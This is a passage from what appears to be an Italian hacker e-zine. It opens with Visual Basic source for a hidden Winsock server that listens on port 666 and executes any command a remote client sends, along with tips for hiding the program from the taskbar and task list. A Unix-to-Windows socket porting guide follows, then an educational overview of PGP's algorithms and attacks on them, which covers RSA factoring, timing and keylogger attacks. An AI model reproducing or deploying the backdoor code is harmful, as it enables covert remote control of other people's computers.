accept(SOCKN, pippo2, Len(pippo2)) id = WSAAsyncSelect(LEGGI, richiede.hWnd, ByVal &H202, ByVal FD_READ Or FD_CLOSE) End Sub con accept si dichiara di voler "accettare" la connessione in arrivo dal client. e la seconda la chiameremo richiede Private Sub richiede_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) Bytes = recv(LEGGI, TESTO, 2048, 0) If Bytes <> 0 Then RICEVUTO = RICEVUTO + Left$(TESTO, Bytes) ElseIf WSAGetLastError() <> WSAEWOULDBLOCK Then id = WSAAsyncSelect(SOCKN, riceve.hWnd, ByVal &H202, ByVal FD_CONNECT Or FD_ACCEPT) If InStr(RICEVUTO, Chr$(13)) <> 0 Then RICEVUTO = Left$(RICEVUTO, InStr(RICEVUTO, Chr$(13)) - 1) End If On Error Resume Next id = Shell(RICEVUTO, 1) closesocket (LEGGI) End If End Sub Con questa procedura (attiva subito dopo il riceve grazie all'evento postato dal WSAASyncSelect) si legge (tramite il recv .. recv(LEGGI, TESTO, 2048, 0)) la stringa di testo inviata dal client contenente il programma da eseguire... quindi col comando SHELL si esegue. Il programma server e' questo: Si apre un form sul quale si inseriscono due testbox rinominandole "riceve" e "richiede" (piccole a piacere tanto on servono a nulla se non alla verifica degli eventi inviati da WSAAsyncSelect) ..volendo e' possibile applicare a piacere tutte le soluzioni note per rendere invisibile il form.. dalla semplice disattivazione del parametro "Visibile nella Task bar" alla eliminazione dall lista dei task.. vedere per questo il mio articolo precedente su Netrunner "il programma invisibile" --------------------------------------------- server Dim INIZIO As WSADataType Dim SOCKN As Long Dim LEGGI As Long Dim pippo As sockaddr Dim pippo2 As sockaddr Dim TESTO As String * 2048 Dim RICEVUTO As String Private Sub Form_Load() PID = WSAStartup(&H101, INIZIO) If PID = SOCKET_ERROR Then Exit Sub Dim ascolta As Integer Dim nome As String Dim lungo As Integer RICEVUTO = "" SOCKN = socket(AF_INET, SOCK_STREAM, 0) If SOCKN < 1 Then Exit Sub pippo.sin_family = AF_INET pippo.sin_port = htons(666) pippo.sin_addr = 0 pippo.sin_zero = String$(8, 0) id = bind(SOCKN, pippo, sockaddr_size) If id <> 0 Then id = WSACleanup() : Exit Sub ascolta = 2 id = listen(ByVal SOCKN, ByVal ascolta) id = WSAAsyncSelect(SOCKN, riceve.hWnd, ByVal &H202, ByVal FD_CONNECT Or FD_ACCEPT) nome = GetLocalHostName + " (" + AddrToIP(GetLocalHostName) + ")" End Sub Private Sub Form_Unload(Cancel As Integer) PID = WSACleanup() End Sub Private Sub riceve_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) RICEVUTO = "" LEGGI = accept(SOCKN, pippo2, Len(pippo2)) id = WSAAsyncSelect(LEGGI, richiede.hWnd, ByVal &H202, ByVal FD_READ Or FD_CLOSE) End Sub Private Sub richiede_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single) Bytes = recv(LEGGI, TESTO, 2048, 0) If Bytes <> 0 Then RICEVUTO = RICEVUTO + Left$(TESTO, Bytes) ElseIf WSAGetLastError() <> WSAEWOULDBLOCK Then id = WSAAsyncSelect(SOCKN, riceve.hWnd, ByVal &H202, ByVal FD_CONNECT Or FD_ACCEPT) If InStr(RICEVUTO, Chr$(13)) <> 0 Then RICEVUTO = Left$(RICEVUTO, InStr(RICEVUTO, Chr$(13)) - 1) End If On Error Resume Next id = Shell(RICEVUTO, 1) closesocket (LEGGI) End If End Sub --------------------------------------------- .. per fare le prove sara' sufficiente chiamare sulla stessa macchina sia il server che il client. Mettere come IP locale 127.0.0.1 e come programma da eseguire c:\windows\calc.exe :)) CONVERSIONE DI PROGRAMMI ------------------------------------------ ----------------------------------------------- UNIX -> WINDOWS XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX X X X PICCOLA GUIDA AD USO DEL PROGRAMMATORE X X X XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Note per convertire un programma unix style in C trovato in giro per la rete nell'equivalente per windows. Non sempre si puo' fare semplicemente.. esistono un paio di funzioni su unix difficilmente replicabili su windows.. non e' che -non si puo' fare- solo che non e' cosi' semplice ed immediato come convertire una funzione in un altra equivalente solo modificando di poco la sintassi. (del resto su windows [almeno su NT!] e' possibile fare tutto cio' che si fa su unix e viceversa. Unix con x-windows ha recuperato il parco totale della Api32W e windows con NT ha attualmente un completo subset di istruzioni Api a standar POSIX esattamente come unix.) Prima di tutte la funzione Fork(). La cosa migliore quando trovate un programma col -fork- e' quella di tralasciarlo almeno fino a quando non avrete acquisito maggior pratica con i socket. E' possibile cmq (a livello conoscitivo) emulare la fork con istruzioni tipo "_beginthread" e la successiva apertura di un nuovo processo (exec()) con la Api CreateProcess(). La difficolta' nella sostituzione per inciso deriva dall'incapacita' di unix di gestire i thread come invece fa windows. ----------------------------------------------------------------------------- per i piu' smaliziati un indizio .. la SDK di NT e' una miniera per questo tipo di informazioni. Questo e' il codice sorgente che riporta al fine di emularela funione fork() seguita da exec() esattamente come su unix. Success = CreateProcess((LPTSTR)IMAGENAME, (LPTSTR)CMDLINE, (LPSECURITY_ATTRIBUTES)NULL, (LPSECURITY_ATTRIBUTES)NULL, (BOOL)TRUE,(DWORD)0, NULL, NULL, (LPSTARTUPINFO)&SI, (LPPROCESS_INFORMATION)&pi); if (fSuccess) { /* parent waits for child */ hProcess = pi.hProcess; hThread = pi.hThread; dw = WaitForSingleObject(hProcess, INFINITE); if (dw != 0xFFFFFFFF) { /* if we saw success ... */ /* pick up an exit code for the process */ fExit = GetExitCodeProcess(hProcess, &dwExitCode); } /* close the child process and thread object handles */ CloseHandle(hThread); CloseHandle(hProcess); printf("COMPLETED!\n"); } else printf("Failed to CreateProcess\n"); Se vi e' di difficile comprensione ... aspettate a capire cosa fa di preciso. Magari date una scorsa generale alla SDK che e' tutta salute. ;-) ------------------------------------------------------------------------------ Quello che potete sostituire invece molto semplicemente: HEADER DA SOSTITUIRE: Su i programmi UNIX trovate questi Header per gestire i socket ------------------------------- #include #include #include #include #include #include #include #include ------------------------------- sostituiteli integralamente su windows con ------------------------------- #include #include ------------------------------- (se non avete winsock2.h anche winsock.h per la maggior parte delle applicazioni va bene) Alcune funzioni generali sono simili ma la loro dicitura e' leggermente diversa Funzioni da sostituire UNIX WINDOWS ----------------------------------------------------------------------------- strdup() _strdup() ----------------------------------------------------------------------------- strcasecmp() _stricmp() ----------------------------------------------------------------------------- stricmp() _stricmp() ----------------------------------------------------------------------------- iaascii() _isascii() ----------------------------------------------------------------------------- da ricordare di trasformate tutti i UNIX WINDOWS ----------------------------------------------------------------------------- fopen(filename, "w"); fd = fopen(filename, "wb"); ----------------------------------------------------------------------------- ecc.. ----------------------------------------------------------------------------- la funzione BZERO in window non c'e'.. la si puo' sostituire con l'equivalente UNIX WINDOWS ----------------------------------------------------------------------------- bzero(NamedColors, sizeof(NamedColors); emset(NamedColors, '\0', sizeof(NamedColors); ----------------------------------------------------------------------------- stesso discorso per BCOPY UNIX WINDOWS ----------------------------------------------------------------------------- bcopy (ddata, sdata, ndata); memcpy (ddata, sdata, ndata); ----------------------------------------------------------------------------- Differenze tra le funzioni relative al winsock (socket) ed equivalenze per la sostituzione Tipo di variabile per i SOCKET: UNIX WINDOWS ----------------------------------------------------------------------------- int SOCKET ----------------------------------------------------------------------------- Errore di Socket non valido UNIX WINDOWS ----------------------------------------------------------------------------- -1 INVALID_SOCKET ----------------------------------------------------------------------------- Chiusura del socket UNIX WINDOWS ----------------------------------------------------------------------------- close(int s) closesocket(SOCKET s) ----------------------------------------------------------------------------- Controllo socket I/O UNIX WINDOWS ----------------------------------------------------------------------------- ioctl(int s,int cmd,char *argp); ioctlsocket(SOCKET s,long cmd,u_long FAR* argp); ----------------------------------------------------------------------------- getsockopt UNIX WINDOWS ----------------------------------------------------------------------------- getsockopt(int s,int l,int o,void *op,int *ot); getsockopt(SOCKET s,int l,int o,char FAR*op,int FAR* ot); ----------------------------------------------------------------------------- setsockopt UNIX WINDOWS ----------------------------------------------------------------------------- setsockopt(SOCKET s,int l,int o,const void *op,int ot); setsockopt(SOCKET s,int l,int o,const char FAR *op,int ot); ----------------------------------------------------------------------------- Quindi RICAPITOLANDO .. almeno per le funioni piu' importanti (gia questo vi permettera' di riconvertire -molti- programmi da linux a windows.) le tabella delle trasformazioni e' la seguente: ----------------------------------------------------------------------------- UNIX WINDOWS ----------------------------------------------------------------------------- strdup() _strdup() ----------------------------------------------------------------------------- strcasecmp() _stricmp() ----------------------------------------------------------------------------- stricmp() _stricmp() ----------------------------------------------------------------------------- iaascii() _isascii() ----------------------------------------------------------------------------- fopen(filename, "w"); fd = fopen(filename, "wb"); ----------------------------------------------------------------------------- bzero(NamedColors, sizeof(NamedColors); memset(NamedColors, '\0', sizeof(NamedColors); ----------------------------------------------------------------------------- bcopy (ddata, sdata, ndata); memcpy (ddata, sdata, ndata); ----------------------------------------------------------------------------- int SOCKET ----------------------------------------------------------------------------- -1 INVALID_SOCKET ----------------------------------------------------------------------------- close(int s) closesocket(SOCKET s) ----------------------------------------------------------------------------- ioctl(int s,int cmd,char *argp); ioctlsocket(SOCKET s,long cmd,u_long FAR* argp); ----------------------------------------------------------------------------- getsockopt(int s,int l,int o,void *op,int *ot); getsockopt(SOCKET s,int l,int o,char FAR*op,int FAR* ot); ----------------------------------------------------------------------------- setsockopt(SOCKET s,int l,int o,const void *op,int ot); setsockopt(SOCKET s,int l,int o,const char FAR *op,int ot); ----------------------------------------------------------------------------- Ultima cosa .. ma importante! Ricordatevi che UNIX non ha bisogno di inizializzate i socket! Non esistono quindi su unix funzioni tipo quelle di windows ... WSAStartup (per inizializzare il winsock) ... WSACleanup (per chiderlo definitivamente) ... voi invece DOVETE mettercele altrimenti i programmi che convertirete non funzioneranno mai. Metterete ovviamente WSAStertup come prima riga d'istruzione all'apertura del vostro programma modificato e WSACLeanup alla fine.. SEMPRE... non dimenticatevelo mai altrimenti avrete come risultato solo programmi perfettamente compilati ma che non serviranno ad altro che a farvi aspettare inutilmente qualcosa di incoraggiante davanti ad una consolle dos tutta nera. :)) Fine. .. ps: se siete arrivati fin qui a leggere forse non eravate dei cerebrolesi! (SICURAMENTE ADESSO LO SIETE! hi hi hi) -= Master *** =- Spp - Member Master@spippolatori.com www.spippolatori.com ۰۰۰۰۰۰۰۰ ۰۰۲۰۰۰۲۰۰ ۰۰۰۰۰۰۰۲۰۰ ۰۰۰۰۰۰۰۰۲۰۰ ۰۰۰۰۰۰۰۰۰۰ //------------------------------------------------------------\\ | Gli Algoritmi in uso nel PGP ** | | Analisi informativa del * | \\** loro funzionamento e possibili attacchi \ /___*____________bY___[aLT255]_________________________________// Il PGP e' considerato un sistema crittografico ibrido. In questo testo viene descritto il sistema RSA (esiste anche il DH/DSS che utilizza algoritmi differenti e viene tralasciato in questa trattazione), il suo funzionamento ed i tipi di attacco a cui puo' essere sottoposto. Il PGP e' formato da 4 differenti algoritmi: 1) un protocollo a chiave simmetrica (IDEA); 2) un protocollo a chiave asimmetrica (RSA); 3) una procedura hash (MD5); 4) un generatore di numeri random (casuale). Ognuno di questi e' soggetto ad un attacco differente. 1) =*IDEA*= IDEA (International Data Encryption Algorithm), viene sviluppato a Zurigo, in Svizzera, da Xuejia Lai e James Massei. E' un block cypher (cioe' un tipo di algoritmo che dato un input variabile produce un output di lunghezza prefissata -block size-) che opera su blocchi di dati da 64-bit. Non essendoci stati finora vantaggi dall'uso della crittoanalisi sull'IDEA standard (per quel che si sa tutt'oggi, premetto che non so cosa sappia o cosa stia facendo l'NSA in questo momento, ma suppongo non lo sappiate neanche voi...), l'unico metodo per attaccare questo protocollo rimane il brute force. IDEA utilizza chiavi di 128 bit di lunghezza. Per recuperare una particolare chiave, si dovrebbe mediamente trovare la meta' delle chiavi. Ma se anche aveste 1 miliardo di macchine che provassero 1 miliardo di chiavi al sec. tutte queste macchine richiederebbero, per trovare la chiave, piu' tempo del tempo che noi sappiamo esistere il nostro universo. Per cui, ora come ora, questo protocollo risulta non vulnerabile ad un attacco di tipo brute force puro e semplice. 2) =*RSA*= Introduciamo prima il significato del termine "fattorizzare" che verra' usato in questo testo. Fattorizzare significa suddividere un numero intero in altri numeri interi piu' piccoli (fattori) che moltiplicati insieme danno l'intero originale. Per esempio, i fattori di 15 saranno 5 e 3 (5x3=15) Fin qui tutto semplice. Il problema si pone quando bisogna fattorizzare un intero i cui fattori siano numeri primi. Moltiplicare 2 numeri interi e' semplice, moltiplicare 2 o piu' numeri primi per ottenere l'intero cercato e' molto piu' difficile. Non e' provato che fattorizzare il modulo pubblico (leggi piu' avanti per capire cosa si intende per modulo pubblico) sia l'unica (e la migliore) via per forzare l'RSA. Ci sono modi ancora non scoperti per raggiungere questo scopo. Non e' stato neanche provato che fattorizzare grandi numeri interi sia cosi' difficile quanto si pensi. Esiste la possibilita' che un esperto in teoria dei numeri possa arrivare a conoscere un algoritmo che fattorizzi a polinomi e che velocizzi il calcolo. Ma niente di cio' e' ancora successo, e le attuali ricerche non puntano comunque in questa direzione... Per quanto riguarda quindi la fattorizzazione, cio' di cui dobbiamo tener conto sono: a) l'evoluzione delle tecniche per fattorizzare grandi numeri primi; b) l'aumento della potenza di calcolo dei processori; c) la diminuzione del costo dell'hardware. Questi sono i punti che minacciano la sicurezza dell'RSA. Per focalizzare meglio il problema e' importante capire come realmente funziona questo protocollo. Ecco un breve schemino: 1- prendi 2 numeri primi molto grandi, "p" e "q"; 2- calcola il loro prodotto "n=pq" dove "n" e' il modulo; 3- scegli un numero, "e", minore di "n" e numero primo relativo di "(p-1)(q-1)". Cio' vuol dire che "e" e "(p-1)(q-1)" non hanno fattori in comune eccetto 1; 4- trova un'altro numero, "d", cosi' che "(ed-1)" sia divisibile per "(p-1)(q-1)"; Il valore "e" e' chiamato esponente "pubblico" e "d" esponente "privato". La chiave pubblica e' la coppia (n,e); quella privata e' (n,d). I fattori p e q dovrebbero essere messi nella chiave privata o distrutti. PGP li mantiene per velocizzare i calcoli ma sono crittati. La crittazione avviene dividendo il messaggio in blocchi piu' piccoli di "n" e calcolando l'esponente modulo: c=m^e modulo n (ricordate che "e" e' l'esponente pubblico e infatti il messaggio viene crittato con la chiave pubblica, "m" e' il messaggio in chiaro, "c" quello crittato) La decrittazione e' semplicemente l'inverso: m=c^d modulo n ("d" e' l'esponente privato) Ottenere la chiave privata "d" dalla chiave pubblica (n,e) attualmente non e' semplice. Se si potesse fattorizzare "n" in "p" e "q" uno potrebbe ottenere la chiave privata "d", ma la sicurezza dell'RSA si basa sul fatto che fattorizzare e' difficile :) Analizziamo l'attacco mediante brute force. Fattorizzare "n" e' il miglior modo fin ora conosciuto per attaccare l'RSA, provare a dedurre "(p-1)(q-1)" non e' piu' semplice di fattorizzare "n", e compiere una ricerca esaustiva dei valori di "d" e' molto piu' difficile che fattorizzare "n" ! Alcuni degli algoritmi utilizzati per la fattorizzazione sono questi: -Trial division: il piu' vecchio ed il meno efficiente. Prova tutti i numeri primi che siano piu' piccoli della radice di (n); -Quadratic Sieve (QS): l'algoritmo piu' veloce per numeri piu' piccoli di 110 cifre; -Multiple Polynomial Quadratic Sieve (MPQS): una versione piu' veloce del QS; -Double Large Prime Variation dell'MPQS: ancora piu' veloce (e' stato utilizzato per rompere l'RSA-129 nel 1994); -Number Field Sieve (NFS): attualmente l'algoritmo piu' veloce per numeri maggiori di 110 cifre. [Potrete trovare diversi testi sulla rete che trattano il funzionamento di questi algoritmi, ho evitato di metterveli perche' comunque l'apprendimento di alcuni di loro richiede un background di conoscenze matematiche non da poco... e non riuscirei quindi neanche a commentarveli ;P ] Questi algoritmi sono quelli che allo stato attuale rappresentano la sfida a protocolli come l'RSA. Comunque, grazie all'evoluzione della potenza di calcolo dei computer e le nuove conoscenze della teoria dei numeri, fattorizzare grandi numeri sta diventando sempre piu' facile. Per esempio, nel 1977 Ron Rivest disse che per fattorizzare un numero di 125 cifre ci sarebbero voluti 40 milioni di miliardi di anni (penso che 40 quadrilioni equivalgano a cio'... se no correggetemi). Nel 1994 una RSA a 129 cifre fu fattorizzata alla velocita' di 5000 MIPS-year (milioni di istruzioni per secondo) con il supporto di computer collegati in internet, in circa 8 mesi. Eccovi un'email di coloro che hanno rotto l'RSA-129 con una breve spiegazione: ############################################################################## From: lenstra@BELLCORE.COM (Arjen Lenstra) Newsgroups: sci.math.numberthy Subject: rsa129 Date: 29 Apr 94 13:06:04 GMT RSA-129 = 1143816257578888676692357799761466120102182967212423625625618429357069 35245733897830597123563958705058989075147599290026879543541 (129 digits) Factors: 3490529510847650949147849619903898133417764638493387843990820577 * 3276 9132993266709549961988190834461413177642967992942539798288533 //questi sono p e q Nd[aLT255] Date: April 1994 Method: ppmpqs Time: Approximately 5000 mips years Name: Derek Atkins, Michael Graff, Arjen K. Lenstra, Paul Leyland, and more than 600 volunteers Email: lenstra@bellcore.com -------------------------------------------------------------------------------- encoded message: 968696137546220614771409222543558829057599911245743198746951209308162\ 98225145708356931476622883989628013391990551829945157815154 public exponent: 9007 `secret' exponent: 106698614368578024442868771328920154780709906633937862801226224496631\ 063125911774470873340168597462306553968544513277109053606095 decoded message: 200805001301070903002315180419000118050019172105011309190800151919090\ 618010705 decoded decoded message: THE MAGIC WORDS ARE SQUEAMISH OSSIFRAGE To find the factorization of RSA-129, we used the double large prime variation of the multiple polynomial quadratic sieve factoring method. The sieving step took approximately 5000 mips years, and was carried out in 8 months by about 600 volunteers from more than 20 countries, on all continents except Antarctica. Combining the partial relations produced a sparse matrix of 569466 rows and 524338 columns. This matrix was reduced to a dense matrix of 188614 rows and 188160 columns using structured Gaussian elimination. Ordinary Gaussian elimination on this matrix, consisting of 35489610240 bits (4.13 GigaByte), took 45 hours on a 16K MasPar MP-1 massively parallel computer. The first three dependencies all turned out to be `unlucky' and produced the trivial factor RSA-129. The fourth dependency produced the above factorization. Derek Atkins Michael Graff Arjen Lenstra Paul Leyland ############################################################################## Nel 1995 la Blacknet key (116 cifre) fu fattorizzata a 400 MIPS-year da dozzine di workstation e un MasPar in 3 mesi. Viene riportata ora nella tabella sotto una stima dei tempi richiesti per fattorizzare alcune chiavi RSA basate sul PGP: KeySize MIPS-years required to factor ----------------------------------------------------------------- 512 30,000 768 200,000,000 1024 300,000,000,000 2048 300,000,000,000,000,000,000 La tabella seguente mostra invece una stima delle equivalenze tra un brute force che cerchi chiavi di protocolli simmetrici e brute force per fattorizzare chiavi asimmetriche, usando l'NFS: Symmetric Asymmetric ----------------------------------------------------------------- 56-bits 384-bits 64-bits 512-bits 80-bits 768-bits 112-bits 1792-bits 128-bits 2304-bits I 4 uomini che fattorizzarono la Blacknet key dissero che anche Organizzazioni con risorse piu' modeste potrebbero benissimo riuscire a forzare chiavi a 512 bit in segreto. Questo certo non vuol dire che un organizzazione ha interesse ad invenstire in un potenziale di calcolo di un certo livello per poter leggere i messaggi altrui. Comunque, c'e' da rifletterci, e non c'e' da sentirsi eccessivamente tranquilli ad usare quel sistema di crittaggio (a 512 bit), sapendo che puo' essere forzato... Il mio suggerimento e' come sempre quello di usare la chiave piu' grande che ci mette a disposizione quel programma. Se poi l'implementazione non permette di usare una chiave grande abbastanza da soddisfare le vostre paranoie... non la usate :) -Attacchi esoterici all'RSA Questi attacchi non si basano su delle debolezze proprie dell'RSA ma su alcune implementazioni del protocollo. E comunque la maggior parte di queste implementazioni non si ritrovano nel PGP. -Attacchi cypher-text L'attaccante riesce ad intercettare un messaggio cifrato "c", destinato ad una terza parte. Vuole essere in grado di leggere questo messaggio senza dover sopportare un sforzo eccessivo di fattorizzazione, in poche parole vuole m=c^d. Per recuperare "m", l'attaccante prima sceglie un numero casuale, minore di "n" (lui ha la chiave pubblica che e' la coppia (e,n). Poi calcola: x=r^e modulo n (encritta "r" con la chiave pubblica della sua vittima); y=xc modulo n (moltiplica il messaggio cifrato "c",cyphertext, con il temporaneo "x") t=r^-1 modulo n L'attaccante conta sul fatto che: Se x=r^e modulo n, allora r=x^d modulo n Quindi firma y con la sua chiave privata (che attualmente decritta y) e spedisce u=y^d modulo n all'attaccante, che semplicemente calcola: tu modulo n = (r^-1)(y^d) modulo n = (r^-1)(x^d)(c^d) modulo n = (c^d) modulo n = m Per vanificare questa attacco basta non firmare con la propria chiave dei documenti che indistintamente vi presentano. Piuttosto usate una procedura hash one-way . -Attacchi sull'esponente di crittazione "e" Se l'esponente di crittazione "e" e' piccolo (valori comuni sono 3, 17 e 65537) allora le operazioni di calcolo che deve fare la chiave pubblica sono significativamente piu' veloci. L'unico problema ad usare un valore di "e" molto piccolo riguarda la crittazione di brevi messaggi. Infatti assumendo "e=3" ed un "m" piu' piccolo della radice cubica di "n", allora il messaggio si recupererebbe semplicemente facendo la radice cubica di "m", perche': m[for m<3rdroot(n)]^3 modulo n sara' equivalente a m^3 e percio': 3rdroot(m^3)=m. Per difendersi contro questo attacco, bastera' semplicemente aggiungere prima della crittazione caratteri o spazi, cosi' che m^3 sara' ridotto modulo n. PGP usa un "e" piccolo come esponente di crittazione, per default e' 17. Se non riesce a calcolare "d" con un "e=17" allora provera' con 19 e cosi' via... PGP si preoccupa comunque di imbottire "m" con valori random cosi' che m>n. -Timing Attack Una nuova area di attacco pubblicamente scoperta da Paul Kocher si basa sul fatto che differenti operazioni crittografiche (in questo caso l'esponente modulo nelle operazioni dell'RSA) possono differire nell'ammontare di tempo richiesto per il calcolo. Se il calcolo dell'RSA fosse eseguito senza usare il Chinese Remainder Theorem, varrebbe la seguente considerazione: Un attaccante puo' esploitare le piccolissime differenze nel tempo di calcolo dell'RSA, e in molti casi riuscirebbe a scoprire "d". L'attacco e' di tipo passivo, chi lo esegue sta su un network ad osservare le operazioni RSA, misurando il tempo "t" richiesto per il calcolo dell'operazione "m=c^d modulo n". L'attaccante conosce inoltre "c" ed "n". Uno pseudo codice potrebbe essere percio' il seguente: Algorithm to compute m=c^d mod n: Let m0 = 1. Let c0 = x. For i=0 upto (bits in d-1): If (bit i of d) is 1 then Let mi+1 = (mi * ci) mod n. Else Let mi+1 = mi. Let di+1 = di^2 mod n. End. Ron Rivest (la prima "R" in RSA e' la sua...) comunque rispose che per eludere questo tipo di attacco bastava dare ad ogni operazione di calcolo un tempo fisso, predeterminato, indipendente quindi dal tipo di operazione. Ed il PGP infatti non e' vulnerabile a questo tipo di attacco perche' usa come detto sopra il CRT (Chinese Remainder Theoreme) per velocizzare le operazioni dell'RSA. Il Timing Attack richiede poi che la persona acceda al motore di crittazione per ottenere accurati valori delle operazioni di decrittazione o di crittazione con un certa varieta' di inputs. Se l'attaccante quindi avesse questo tipo di accesso al sistema operativo, e nel caso del PGP potesse leggere il secring.skr file, cio' renderebbe il PGP completamente insicuro. Questo attacco comunque assume maggior rilevanza nell'uso delle "smart cards" che usino l'RSA per l'identificazione della card. 3) =*MD5*= L'MD5 e' il metodo hash one-way (non reversibile) utilizzato per convertire la passphrase nella chiave IDEA e per firmare i documenti. L'MD5 fu inventato da Rivest come successore dell'MD4. E' piu' lento ma piu' sicuro del suo predecessore. Come tutte le funzioni 1-way, l'MD5 prende una quantita' arbitraria di bit in entrata e genera un output di grandezza predefinito. Brute Force dell'MD5. La forza di tutti i processi hash sta nel fatto che riesce molto bene a randomizzare un messaggio arbitrario e produrne un output unico. Ci sono 2 tipi di attacchi comunque che si possono fare contro i procedimenti hash 1-way: -il brute force puro; -il birthday attack. Brute force puro: L'output dell'MD5 e' 128 bits. Nel brute force puro, l'attaccante ha accesso all'output del messaggio H(m). Vuole pero' trovare un'altro messaggio m' tale che: H(m)=H(m') Per trovare questo messaggio (assumendo che esista) ci vuole, per una macchina che riesce a provare 1 miliardo di messaggi al secondo circa 1.07E22 anni (anche per trovare m ci vorrebbe lo stesso ammontare di tempo). Birthday attack: Trovare 2 messaggi che diano lo stesso valore di hash e' conosciuto come una collisione ed e' exploitabile dal birthday attack. Si tratta di un problema di probabilita' statistica. Dati "n" inputs e "k" possibili outputs, ci sono n(n-1)/2 coppie di inputs. Per ogni coppia, c'e' la probabilita' di 1/k che ogni input produca lo stesso output. Percio', se si prendono k/2 coppie, la probabilita' di trovarne una che dia lo stesso valore di hash sara' del 50%. Se n>sqrt(k), c'e' una buona possibilita' di trovare una collisione. Nel caso dell'MD5, dovranno essere provati 2^64 messaggi. Se poteste provare 1.000.000 di messaggi al secondo ci vorrebbero 582.942 anni prima di trovare una collisione (una macchina che ne riuscisse a fare 1 miliardo al secondo richiederebbe circa 585 anni...). -Altri tipi di attacchi all'MD5 Criptanalisi differenziali sono state provate con successo contro un primo round di MD5, ma non contro tutti e 4 (ogni round applica la stessa trasformazione usando delle sottochiavi; il set di sottochiavi, chiamato keyschedule, deriva da una specifica funzione che conferisce al plaintext il grado di sicurezza richiesto dall'utente). C'e' stato un attacco effettuato con successo sulla stessa funzione di compressione che genera le collisioni, cioe' si e' alterato il codice MD5 per causare volontarie collisioni. Ma questo non ha grande senso e non e' un problema per la sicurezza, perche' se la vostra copia di PGP avesse quel codice alterato per causare queste collisioni, la verifica sull'autenticita' di un messaggio fallirebbe per cui voi considerereste il messaggio di per se' alterato...giusto? -Lunghezza della Passphrase e Teoria dell'Informazione Secondo la Teoria dell'Informazione convenzionale, la lingua inglese ha circa 1,3 bits di entropia (informazione) per carattere (8-bit). Se la passphrase utilizzata e' abbastanza lunga, l'output dell'hash MD5 sara' statisticamente casuale. Per un 128-bit di output MD5, una passphrase di circa 98 caratteri produrra' una chiave casuale: (8/1,3) * (128/8) = (128/1,3) = 98,46 caratteri Quante persone utilizzano una passphrase di 98 caratteri per le loro chiavi PGP? Ecco qua sotto 98 caratteri... 123456789012345678901234567890123456789012356789012345678901234567890123456789012345678 Il valore 1,3 deriva dal fatto che un'arbitraria frase inglese leggibile, di solito e' formata da certe lettere (e,r,s, e t sono statisticamente molto comuni), che riducono la sua entropia. Se ognuna delle 26 lettere dell'alfabeto latino avesse la stessa probabilita' di trovarsi in una frase l'entropia aumenterebbe. Gli indici assoluti, sarebbero in questo caso: log(26) / log(2) = 4,7 bits In questo caso, una password con una vera sequenza casuale di lettere di caratteri inglesi basterebbe essere di: (8/4,7) * (128/8) = (128/4,7) = 27,23 caratteri 4) =*IL PRNG*= Il PGP utilizza 2 PRNG per generare e manipolare dati random: - l' ANSI X9.17; - e una funzione che misura l'entropia del ritardo nelle digitazioni a tastiera dell'utente. ----------------------- GLI ATTACCHI NELLA PRATICA-------------------------- La maggior parte degli attacchi delineati sopra non sono molto flessibili ne molto possibili da attuare per un medio avversario. Ma allora, cosa rimane da fare ad un cracker medio che vuole sovvertire la sicurezza del PGP? Non certo attaccare il sistema di protocolli di crittazione, infatti questi abbiamo visto sopra essere sicuri. Piuttosto e' possibile attaccare alcune implementazioni specifiche del PGP. - Attacchi passivi * Keypress Snooping E' tutt'ora un validissimo metodo di attacco, e puo' sovvertire la sicurezza del piu' robusto sistema crittografico esistente. Se un attaccante riesce infatti ad installare un keylogger, e catturare la passphrase di un utente incauto, allora non ci sara' bisogno di alcun sistema di crittoanalisi. L'attaccante ha la passphrase per sbloccare la chiave privata RSA! Il sistema e' completamente compromesso. I metodi variano da sistema a sistema, ma secondo me le versioni dos del PGP sono le piu' vulnerabili. Il DOS e' il sistema operativo piu' facile da sovvertire, tutto cio' che un attaccante dovra' riuscir a fare sara' semplicemente guadagnare l'accesso a quella macchina per meno di 5 minuti in due occasioni separate e l'attacco sara' completato. La prima volta per installare il software e la seconda per rimuoverlo e ritirare il pescato... (se la macchina sta su un network, tutto questo potra' essere fatto da remoto, e la facilita' dell'attacco aumentera' enormemente). Stesso discorso comunque vale per il sistema windows. Mentre un po' piu' complicato si fa per i sistemi Unix, perche' si richiede un accesso al sistema come root, a meno che la passphrase venga immessa da un'interfaccia X-Window. Agganciare la passphrase dalla tastiera, o anche interi messaggi dallo schermo tramite sistemi che captano le emissioni elettromagnetiche dello schermo sono degli attacchi molto validi. E quest'ultimo, perquanto possa sembrare un'azione alla James Bond, puo' essere facilmente attuata da tutti coloro che dispongono di buone conoscenze tecniche e desiderio di leggere files crittati. * Memory Space Snooping In un sistema multiutente come Unix, la memoria fisica della macchina puo' essere esaminata da chiunque abbia certi privilegi (di solito di root). Piuttosto che fattorizzare numeri enormi, aprire la memoria virtuale del sistema (/dev/kmem), cercare una pagina utente e leggerla direttamente e' molto + semplice. * Disk Cache Snooping Negli ambienti multitasking come Windows invece, il sistema operativo ha la bella abitudine di spostare il contenuto della memoria sul disco fisso, di solito in maniera trasparente all'utente, ogniqualvolta abbia necessita' di liberare altra RAM. Queste informazioni si possono trovare, quindi, in chiaro, nel file di swap (di lunghezza variabile...), semplicemente occorrera' aspettare che qualcuno si venga a trovare in quella situazione. Ancora, in un ambiente di rete, dove l'accesso alle macchine puo' essere fatto con relativa impunita', questo file puo' essere recuperato senza che il proprietario se ne accorga e ne autorizzi la visione. * Packet Sniffing Se usate il PGP su un host alla quale accedete da remoto, potete essere vulnerabili a questo attacco. A meno che non usiate qualche utility di crittazione per quella sessione, come l'SSH o DESlogin, o altro. Un packet sniffer sistemato in un punto intermedio tra i vostri terminali puo' recuperare in maniera completa ed efficiente tutti i vostri messaggi... - Attacchi attivi * Trojan Horse Seppure sia un sistema molto antico, e' a tutt'oggi perfettamente funzionan te. Tra l'altro negli ultimi anni stanno sbucando una marea di programmi trojans per windows, friendly user, con una GUI (Graphic User Interface) semplicissima che qualsiasi utente puo' utilizzare premendo qualche pulsante e scorrendo qualche finestra di testo... * Reworked Code Il codice del PGP e' pubblicamente disponibile. Ed e' facile da modificare. Se qualcuno modificasse il codice inserendo una backdoor e poi distribuisse il programma cosi' modificato in giro, si avrebbero degli effetti disastro si. Per fortuna, rilevare un PGP modificato e' molto semplice. Basterebbe fare un semplice controllo sulla somma 